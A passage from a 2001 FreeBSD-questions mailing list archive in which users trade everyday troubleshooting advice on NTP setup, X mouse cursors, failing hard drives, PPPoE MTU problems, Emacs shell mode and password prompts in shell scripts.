165QUh-0005Hs-00 for freebsd-questions@FreeBSD.ORG; Sun, 18 Nov 2001 12:52:16 +0100 Date: Sun, 18 Nov 2001 10:50:27 +0000 (GMT) From: "P. U. (Uli) Kruppa" X-X-Sender: To: "freebsd-questions@FreeBSD.ORG" Subject: ntpd / time server confusion Message-ID: <20011118102741.K639-100000@big> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi! Last night I thought it would be a nice idea to fetch the exact time from some internet time server. As far as I can see, I have ntpdate enabled in rc.conf and I have produced some kind of /etc/ntp.conf but doing # ntpdate I keep receiving messages like this: 18 Nov 10:39:42 ntpdate[56133]: no servers can be used, exiting In Google I found some confusing pages about time servers being down because of security risks. So my question is: Does this work at all and if yes which lines should be put into my rc.conf and my ntp.conf? Thanx for your answers. Uli. ************************************ * P. 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------=_NextPart_000_000D_01C17043.543713E0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 4:11: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id 940FA37B416 for ; Sun, 18 Nov 2001 04:11:01 -0800 (PST) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 18 Nov 2001 12:11:00 +0000 (GMT) To: Steve Austin Cc: freebsd-questions@freebsd.org Subject: Re: still having mouse problems on FBSD 4.4 release In-Reply-To: Your message of "Sat, 17 Nov 2001 20:24:57 PST." <20011118042457.18116.qmail@web20408.mail.yahoo.com> Date: Sun, 18 Nov 2001 12:10:59 +0000 From: Ian Dowse Message-ID: <200111181211.aa62564@salmon.maths.tcd.ie> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message <20011118042457.18116.qmail@web20408.mail.yahoo.com>, Steve Austin w rites: >When I run startx, and enter into the window manager >(Gnome, Windowmaker, fvwm - I've tried all of these so >I don't think it is a window manager problem) no mouse >pointer shows up on the screen, yet I can move the >mouse about and icons and windows will become >highlighted. I can click on the icons and get This sounds like your video card isn't fully supported by X; marginal support can explain a large selection of weird effects like this. If the X driver you are using supports the "sw_cursor" option, it will probably work around this problem. Look for a section in /etc/XF86Config beginning with Section "Device" (there may be many, so some trial and error possibly required), and within that section, add: Option "sw_cursor" Details about other driver options may be found in /usr/X11R6/lib/X11/doc/. Another option would be to try installing XFree86 v4.X as a package from the CD - there is probably some documentation somewhere describing what's involved in switching from XFree 3.3.X to 4.X. Ian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 4:12:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mcqueen.wolfsburg.de (pns.wobline.de [212.68.68.5]) by hub.freebsd.org (Postfix) with ESMTP id 1656737B416 for ; Sun, 18 Nov 2001 04:12:53 -0800 (PST) Received: from colt.ncptiddische.net (ppp-154.wobline.de [212.68.69.162]) by mcqueen.wolfsburg.de (8.11.3/8.11.3/tw-20010821) with ESMTP id fAICCZO09055; Sun, 18 Nov 2001 13:12:35 +0100 Received: from jodie.ncptiddische.net (jodie.ncptiddische.net [192.168.0.2]) by colt.ncptiddische.net (8.11.6/8.11.6) with ESMTP id fAICD4t10592; Sun, 18 Nov 2001 13:13:05 +0100 (CET) (envelope-from nils@tisys.org) Received: from jodie.ncptiddische.net (jodie.ncptiddische.net [192.168.0.2]) by jodie.ncptiddische.net (8.11.6/8.11.6) with ESMTP id fAICCh100943; Sun, 18 Nov 2001 13:13:19 +0100 (CET) (envelope-from nils@tisys.org) Date: Sun, 18 Nov 2001 13:12:43 +0100 (CET) From: Nils Holland To: Scott Mitchell Cc: David Loszewski , Subject: Re: harddrive error In-Reply-To: <20011118115024.I272@localhost> Message-ID: <20011118130628.Q935-100000@jodie.ncptiddische.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 18 Nov 2001, Scott Mitchell wrote: > BTW, the drive tester may well offer to do some kind of low-level format on > the drive to 'repair' it. This may well appear to work, but if my > experience is anything to go by, a genuinely bad drive will just start > failing again soon after, so I wouldn't bother. Low-level format, especially if done with tools and procedures not explicitly recommended by the manufacturer, can be a risky thing. In general, it should not be neccessary to do a low level format on modern drives (in fact, a few years back there used to be a low-level format utility present in many BIOSes, which is no longer the case) - if the need arises, it is well possible that something else and much more serious is about to fail. If you do a low-level format wrong, the "bad blocks" on your HDD that were already marked as bad in the factory or during your use of the drive will be made available for data storage again. A proper low-level format tool from your manufacturer should properly handle this and make sure that these blocks remain marked as bad. A wrong tool may, however, make these bad blocks available for data storage again. This means that your problems may be gone for a short time, until your HDD has tried to store some data on these bad blocks, after which it will complain again, and everything will start all over again... Nils Holland Ti Systems - FreeBSD in Tiddische, Germany http://www.tisys.org * nils@tisys.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 4:27:36 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtprelay2.abs.adelphia.net (smtprelay.abs.adelphia.net [64.8.20.11]) by hub.freebsd.org (Postfix) with ESMTP id 46A7E37B416 for ; Sun, 18 Nov 2001 04:27:32 -0800 (PST) Received: from there ([63.88.159.67]) by smtprelay2.abs.adelphia.net (Netscape Messaging Server 4.15) with SMTP id GMZX9V02.46I for ; Sun, 18 Nov 2001 07:27:31 -0500 Content-Type: text/plain; charset="iso-8859-1" From: Gerald A.Speak Reply-To: gaspeak@va.prestige.net To: freebsd-questions@freebsd.org Subject: Re: ntpd / time server confusion Date: Sun, 18 Nov 2001 07:27:30 -0500 X-Mailer: KMail [version 1.3.1] References: <20011118102741.K639-100000@big> In-Reply-To: <20011118102741.K639-100000@big> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <20011118122732.46A7E37B416@hub.freebsd.org> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sunday 18 November 2001 05:50 am, you wrote: > Hi! > > Last night I thought it would be a nice idea to fetch the > exact time from some internet time server. > As far as I can see, I have ntpdate enabled in rc.conf and > I have produced some kind of /etc/ntp.conf but doing > # ntpdate I keep receiving messages like this: > > 18 Nov 10:39:42 ntpdate[56133]: no servers can be used, > exiting > > In Google I found some confusing pages about time servers > being down because of security risks. > > So my question is: > Does this work at all and if yes > which lines should be put into my rc.conf and my ntp.conf? > It works quite well for me. You may wish to locate a time server closer to your location. Contents of /etc/ntp.conf: server time.nist.gov driftfile /etc/ntp.drift additions to rc.conf: xntpd_enable="YES" > Thanx for your answers. > > Uli. > > > ************************************ > * P. U. Kruppa - Wuppertal * > * Germany * > * www.pukruppa.de www.2000d.de * > ************************************ > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 4:41: 3 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 2B83637B417 for ; Sun, 18 Nov 2001 04:41:01 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAICeti17066; Sun, 18 Nov 2001 13:40:56 +0100 (CET) Message-ID: <03a201c1702e$44eb1c70$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Giorgos Keramidas" Cc: "FreeBSD Questions" References: <031801c16fb3$dbe19df0$0a00000a@atkielski.com> <20011118033947.GD28425@hades.hell.gr> Subject: Re: Windows/DOS .OBJ files to FreeBSD objects? Date: Sun, 18 Nov 2001 13:40:50 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Giorgos writes: > Does a86 even work on FreeBSD? The homepage > seems to suggest that it's a program written > for DOS and/or Windows. Correct. That's why I am wondering if there are any utilities that can change a Windows/DOS OBJ file to a FreeBSD object file, so that I can assemble modules under Windows or DOS, and then move the objects to a FreeBSD system (after some sort of conversion) and link them there. > b) Use some other assembler, that is freely > available under FreeBSD. What other assemblers can you recommend? A86 has the advantage of truly extraordinary simplicity, unlike MASM and most other overcomplicated macro assemblers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 4:45: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 5ECC437B416; Sun, 18 Nov 2001 04:45:02 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAICitK17301; Sun, 18 Nov 2001 13:44:55 +0100 (CET) Message-ID: <03af01c1702e$d38c0520$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Andrew C. Hornback" , "Greg Lehey" , "FreeBSD Questions" References: <002701c16fda$ca673680$6600000a@ach.domain> Subject: Re: Mysterious boot during the night Date: Sun, 18 Nov 2001 13:44:49 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Andrew writes: > Just to be safe, I'd still seek some kind of > diagnostic just to make sure. That would not be logical. Hardware failures are extremely rare; software failures are extremely common. It doesn't make sense to spend time trying to rule out hardware (which is never actually possible, anyway) when a software error is more likely to be the culprit. > I'm not 100% sure about this, but I believe that > if you CVSupped to the newest version, it might > include the fix. I have something that I got somewhere with cvsup; maybe it was source, or the latest ports, or something. I don't know exactly what source is currently on the machine. In general, I do not update an entire operating system in a shotgun approach to fixing a problem of unknown origin, as it often causes more problems than it solves. > Your best bet, I believe, is going to be to talk > with sos and see about getting the patch either > MFC'd to the STABLE branch, or to get a copy of the > patch yourself and apply it. Who is sos? How do I know that this patch will fix the problem? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 4:45:57 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mta06-svc.ntlworld.com (mta06-svc.ntlworld.com [62.253.162.46]) by hub.freebsd.org (Postfix) with ESMTP id 76C9337B417 for ; Sun, 18 Nov 2001 04:45:50 -0800 (PST) Received: from lungfish.ntlworld.com ([62.253.144.151]) by mta06-svc.ntlworld.com (InterMail vM.4.01.03.13 201-229-121-113) with ESMTP id <20011118124548.NGEK16226.mta06-svc.ntlworld.com@lungfish.ntlworld.com>; Sun, 18 Nov 2001 12:45:48 +0000 Received: from boog.goatsucker.org (boog.goatsucker.org [192.168.1.3]) by lungfish.ntlworld.com (8.11.3/8.11.3) with ESMTP id fAICjk867454; Sun, 18 Nov 2001 12:45:46 GMT (envelope-from scott@boog.goatsucker.org) Received: (from scott@localhost) by boog.goatsucker.org (8.9.3/8.9.3) id MAA25819; Sun, 18 Nov 2001 12:45:11 GMT (envelope-from scott) Date: Sun, 18 Nov 2001 12:45:10 +0000 From: Scott Mitchell To: Nils Holland Cc: David Loszewski , freebsd-questions@FreeBSD.ORG Subject: Re: harddrive error Message-ID: <20011118124510.J272@localhost> References: <20011118115024.I272@localhost> <20011118130628.Q935-100000@jodie.ncptiddische.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: <20011118130628.Q935-100000@jodie.ncptiddische.net>; from nils@tisys.org on Sun, Nov 18, 2001 at 01:12:43PM +0100 X-Operating-System: FreeBSD 4.1-RELEASE i386 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Nov 18, 2001 at 01:12:43PM +0100, Nils Holland wrote: > On Sun, 18 Nov 2001, Scott Mitchell wrote: > > > BTW, the drive tester may well offer to do some kind of low-level format on > > the drive to 'repair' it. This may well appear to work, but if my > > experience is anything to go by, a genuinely bad drive will just start > > failing again soon after, so I wouldn't bother. > > Low-level format, especially if done with tools and procedures not > explicitly recommended by the manufacturer, can be a risky thing. In > general, it should not be neccessary to do a low level format on modern > drives (in fact, a few years back there used to be a low-level format > utility present in many BIOSes, which is no longer the case) - if the need > arises, it is well possible that something else and much more serious is > about to fail. Yes, 'low-level format' was probably a poor choice of words on my part. The function I'm thinking of does essentially what Nils describes below -- scrubs the entire disk, checking each block and marking all the bad blocks as such. I'm not sure whether the IBM tool I used recently (on an IBM drive) did this properly or not -- it pronounced the drive to be healthy and all seemed to be well for a few weeks until the fatal read errors came back again. I have no idea if these were on the same blocks as before or new ones that had gone bad since. The drive has since been replaced by IBM (3 year warranty is a Good Thing!). > If you do a low-level format wrong, the "bad blocks" on your HDD that were > already marked as bad in the factory or during your use of the drive will > be made available for data storage again. A proper low-level format tool > from your manufacturer should properly handle this and make sure that > these blocks remain marked as bad. A wrong tool may, however, make these > bad blocks available for data storage again. This means that your problems > may be gone for a short time, until your HDD has tried to store some data > on these bad blocks, after which it will complain again, and everything > will start all over again... Absolutely. Only use the tools provided by the drive manufacturer. Personally, I'd just get the thing replaced as soon as it started behaving badly, rather than trusting that it had been 'fixed' and having it fail again. Cheers, Scott -- =========================================================================== Scott Mitchell | PGP Key ID | "Eagles may soar, but weasels Cambridge, England | 0x54B171B9 | don't get sucked into jet engines" scott.mitchell@mail.com | 0xAA775B8B | -- Anon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 5:40:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 174F037B405 for ; Sun, 18 Nov 2001 05:40:17 -0800 (PST) Received: (qmail 24363 invoked by uid 100); 18 Nov 2001 13:40:09 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15351.47672.902880.823722@guru.mired.org> Date: Sun, 18 Nov 2001 07:40:08 -0600 To: parv Cc: questions@freebsd.org Subject: Re: how to modify a "word" definition In-Reply-To: <58119620@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG parv types: > in message <5kzo5k4t8e.o5k@localhost.localdomain>, > wrote Gary W. Swearingen thusly... > > If you want really good control over mousing things (in or out of X), > > use the XEmacs (or similar) shell mode where you can make the mouse > > recognize any thing you want and even have it (with ctrl, shift, alt, > > extra characters, etc.) grab words, lines, URLs, filenames, or whatever, > > and have it run commands (eg "Netscape -remote", "xemacs --read-only") > > on the selection. > i see only 2 "standard" editing modes in bash and ksh: "emacs" and > "vi". no "XEmacs" mode; i suppose you were referring to "emacs" > mode... which i already have. Since I don't see Gary's picking up on this in either of the digests, I'll correct this here. Gary is referring to running a shell inside of Emacs - or XEmacs. In emacs, it's possible to associate a process with a buffer, such that output from the process is appended to the buffer, and the newline key causes input back to the prompt to be sent to the process. Back in the bad old days, when I had a real terminal at work and didn't have SLIP for dialin, I would change the buffer name to include the hostname, and have multiple shell buffers with rlogins to various hosts I needed to work on. This beat the alternative - rsh sessions to all those hosts with only one active at a time - hands down. > > (Unfortunately, the terminal emulation is not as > > good as xterm, so I wind up having to use xterm for running interactive > > non-GUI programs. It has a second terminal emulator which is is good > > enough for such programs but I don't use it for reasons I forget.) > i am confused now as i thought you were referring to a shell and now > you are referring to xterm (emulation)... going dizzy... The terminal emulation for the shell in emacs is pretty poor, being pretty much at the teletype level. There is a real terminal emulator good enough to run vi inside of emacs. However, you lose a lot of the features of the standard shell mode. It's also truly moded, as opposed to having quasimodes, which makes for bad UI design. If I were stuck on a glass tty, I'd probably learn to use it so I could use things that needed an addressable cursor inside of emacs, but in a windowed environment, running a real terminal emulator in another window is a bit saner and provides the same functionality. > > Of course, it's also much better than xterm for keybanging of shell > > command input and output. You have all the standard editing features > > and more. Searching of the input+output history (arbitrarily long) > > is especially handy. Another handy command is "delete output of last > > shell command" (ctrl-c ctrl-o). > what exactly is "output history"? and, how is it possible to "delete > output of last shell command" if the output was sent to stdout/stderr? Since you're running inside an editor and all the output is in the editor buffer, all the output is available - thus you can search through the complete output history, as well as the input commands provided by the emacs mode of bash. Deleting the output of the last command means you go back to the last prompt, and delete everything from there to the current prompt. No problem. Actually, one of my favorite features is "ctrl-c r", which makes the last prompt the first line of the window, so *all* you see is the last command and it's output. > > (The special shell-mode commands > > all start with ctrl-c, so "ctrl-c ctrl-c" is xterm's "ctrl-c".) > i will take a wild guess as i am thoroughly confused now, but could > you be implying here "emacs-ctlx" keymap as introduced (but not > explained) in the bash(1)? Nope. As he says, shell-mode in emacs - as opposed to emacs mode in the shell - prefixes it's commands with C-c. So to send a C-c, you have to hit it twice. For me, it's four times, because I have the window ratpoison's prefix key bound to C-c, so sending one to emacs takes two C-c's, thus getting two to the shell buffer takes for. Which brings back memories of the song - published in one of the ACM journals, no less - Control-uparrow Q. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 5:43: 0 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 44E6D37B416 for ; Sun, 18 Nov 2001 05:42:52 -0800 (PST) Received: (qmail 40228 invoked by uid 100); 18 Nov 2001 13:42:51 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15351.47835.296410.592078@guru.mired.org> Date: Sun, 18 Nov 2001 07:42:51 -0600 To: Lu!s Croker Cc: questions@freebsd.org Subject: Re: echo! In-Reply-To: <55329165@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Lu!s Croker types: > Hi, > > I'm trying to do a script with dialog command... I want to ask for > passwords in this script. I would not like show the password field in the > screen or maybe put something like "****" instead the real characters... > Any Ideas? Thanks. 1) Write a custom program that DTRT for it's input and then prints it out, so you'd do: PASSWORD=`getpassword-with-stars` 2) Use stty to change the terminal state while getting the password. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 5:46:54 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sage-american.com (sage-american.com [216.122.141.44]) by hub.freebsd.org (Postfix) with ESMTP id EAD5937B416 for ; Sun, 18 Nov 2001 05:46:44 -0800 (PST) Received: from SAGEONE (adsl-208-191-227-85.dsl.crchtx.swbell.net [208.191.227.85]) by sage-american.com (8.9.3/8.9.3) with SMTP id HAA04390; Sun, 18 Nov 2001 07:46:28 -0600 (CST) Message-Id: <3.0.5.32.20011118074636.00f91eb8@mail.sage-american.com> X-Sender: jacks@mail.sage-american.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Sun, 18 Nov 2001 07:46:36 -0600 To: "Matthew Emmerton" , From: jacks@sage-american.com Subject: Re: More PPPoE DSL In-Reply-To: <048e01c16fe8$b613eee0$1200a8c0@gsicomp.on.ca> References: <3.0.5.32.20011117220014.00f8efc0@mail.sage-american.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Matt: Yes, I read Renaud's paper about that bug which had me thinking in that direction. However, the settings in the registry of the Win2K machines are okay being set at the 1492 mtu already. What is driving me bonkers is that everthing was working fine for the first 8 days on DSL connection. After an electrical storm caused the Win2K gateway's OS to become unstable, I decided to re-install everything since it had been running the Win2 OS for almost 2 years. Then the problem started. My main concern is the FreeBSD boxes which do nitely tasks with a remote using the FTP up and downloads... the down works, but not the upload. The bandaid is to switch back to the ISDN each night, but that is not an automatic solution as it was before when the DSL stayed connected.... this is my motivation for trying to set up PPP on one of the BSDs. This is really "bugging" me and have spent days looking for the solution. At 11:22 PM 11.17.2001 -0500, Matthew Emmerton wrote: >> As an update to earlier posts, I finally configured the PPP and have made >> connection on a PPPoE DSL 4.4-STABLE setup, but have not pinged out yet. >> I've had to stop there for now for other duties. >> >> In the meantime, back to normal work using a Win2K DSL gateway setup for >> the LAN which includes Win2K and FreeBSD stations. It's a dynamic IP ISP >> connection. The gateway Win2K machine with the DSL has NO problems with >any >> applications. >> >> BUT, with the other machines on the LAN, there are a couple of problems... >> only with email replies and FTP UPloading. While I don't have any problems >> whith downloading using the BSDs (or the Win2Ks either), I can't upload... >> it starts, then locks up & has to be rebooted to break the connections. I >> suspect MTU size packets may be the culprit. It should be set to 1492, but >> the ifconfig -a shows the BSD interface set at 1500. > >It's quite possible that when using the Win2K machine as your gateway, >traffic from other hosts on the LAN isn't getting handle properly out on the >Internet, and never makes it back to your LAN. This is known as the TCP MSS >bug, and is explained here (http://www.daemonnews.org/200101/pppoe.html, see >section 6.3), along with instructions on how to fix your Win2K machine. >(Ignore the 'enable tcpmssfixup' stuff -- it's the default in FreeBSD's PPP >now.) > >-- >Matt Emmerton > > > Best regards, Jack L. Stone, Server Admin Sage-American http://www.sage-american.com jacks@sage-american.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 5:51:45 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 065AF37B416 for ; Sun, 18 Nov 2001 05:51:34 -0800 (PST) Received: (qmail 51679 invoked by uid 100); 18 Nov 2001 13:51:28 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15351.48352.320492.839500@guru.mired.org> Date: Sun, 18 Nov 2001 07:51:28 -0600 To: "P. U. (Uli) Kruppa" Cc: questions@freebsd.org Subject: Re: ntpd / time server confusion In-Reply-To: <20905573@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG P. U. (Uli) Kruppa types: > Hi! > > Last night I thought it would be a nice idea to fetch the > exact time from some internet time server. > As far as I can see, I have ntpdate enabled in rc.conf and > I have produced some kind of /etc/ntp.conf but doing > # ntpdate I keep receiving messages like this: > > 18 Nov 10:39:42 ntpdate[56133]: no servers can be used, > exiting > > In Google I found some confusing pages about time servers > being down because of security risks. > > So my question is: > Does this work at all and if yes > which lines should be put into my rc.conf and my ntp.conf? ntp.conf isn't used by ntpdate, it's used by ntpd. You need to specify the servers for ntpdate in ntpdate_flags in rc.conf. If your system is up and connected full time, you probably want to use ntpd instead of ntpdate. See the respective man pages for more information. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 5:56:41 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mcqueen.wolfsburg.de (pns.wobline.de [212.68.68.5]) by hub.freebsd.org (Postfix) with ESMTP id 3340337B416 for ; Sun, 18 Nov 2001 05:56:33 -0800 (PST) Received: from colt.ncptiddische.net (ppp-291.wobline.de [212.68.71.12]) by mcqueen.wolfsburg.de (8.11.3/8.11.3/tw-20010821) with ESMTP id fAIDuHO16635; Sun, 18 Nov 2001 14:56:18 +0100 Received: from jodie.ncptiddische.net (jodie.ncptiddische.net [192.168.0.2]) by colt.ncptiddische.net (8.11.6/8.11.6) with ESMTP id fAIDult10822; Sun, 18 Nov 2001 14:56:48 +0100 (CET) (envelope-from nils@tisys.org) Received: from jodie.ncptiddische.net (jodie.ncptiddische.net [192.168.0.2]) by jodie.ncptiddische.net (8.11.6/8.11.6) with ESMTP id fAIDuR101113; Sun, 18 Nov 2001 14:57:02 +0100 (CET) (envelope-from nils@tisys.org) Date: Sun, 18 Nov 2001 14:56:27 +0100 (CET) From: Nils Holland To: Scott Mitchell Cc: David Loszewski , Subject: Re: harddrive error In-Reply-To: <20011118124510.J272@localhost> Message-ID: <20011118145154.C1108-100000@jodie.ncptiddische.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 18 Nov 2001, Scott Mitchell wrote: > Absolutely. Only use the tools provided by the drive manufacturer. > Personally, I'd just get the thing replaced as soon as it started behaving > badly, rather than trusting that it had been 'fixed' and having it fail > again. Exactly! I've used mostly Western Digital drives here and I've had very little problems with them, but at the time one drive actually did not work the way it was supposed to be, WD was very helpful with instantly accepting my complaint and sending me a replacement drive within only a few days. If it's rather obious that the drive itself is faulty, I'd always see if it's still under warranty and try to get it replaced before I try some "strange" things myself, which might make the issue even worse, and in the end probably even void the warranty (though the latter is unlikely to happen as long as you don't open the drive, which is in all cases a bad idea ;-) Greetings Nils Nils Holland Ti Systems - FreeBSD in Tiddische, Germany http://www.tisys.org * nils@tisys.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 6:11:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by hub.freebsd.org (Postfix) with SMTP id A509637B417 for ; Sun, 18 Nov 2001 06:11:53 -0800 (PST) Received: (qmail 19934 invoked by uid 0); 18 Nov 2001 14:11:52 -0000 Received: from tk212017108240.univie.teleweb.at (HELO Deadcell.ANT) (212.17.108.240) by mail.gmx.net (mp007-rz3) with SMTP; 18 Nov 2001 14:11:52 -0000 Received: (from ant@localhost) by Deadcell.ANT (8.11.5/8.11.5) id fAIEBik30095 for freebsd-questions@freebsd.org; Sun, 18 Nov 2001 15:11:44 +0100 (CET) (envelope-from ant) Date: Sun, 18 Nov 2001 15:11:44 +0100 From: Andreas Ntaflos To: freebsd-questions@freebsd.org Subject: wordperfect 8.0 still available? Message-ID: <20011118151144.A29185@Deadcell.ANT> Mail-Followup-To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Platform: FreeBSD 4.4-STABLE Hostname: Deadcell.ANT Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello everybody, I 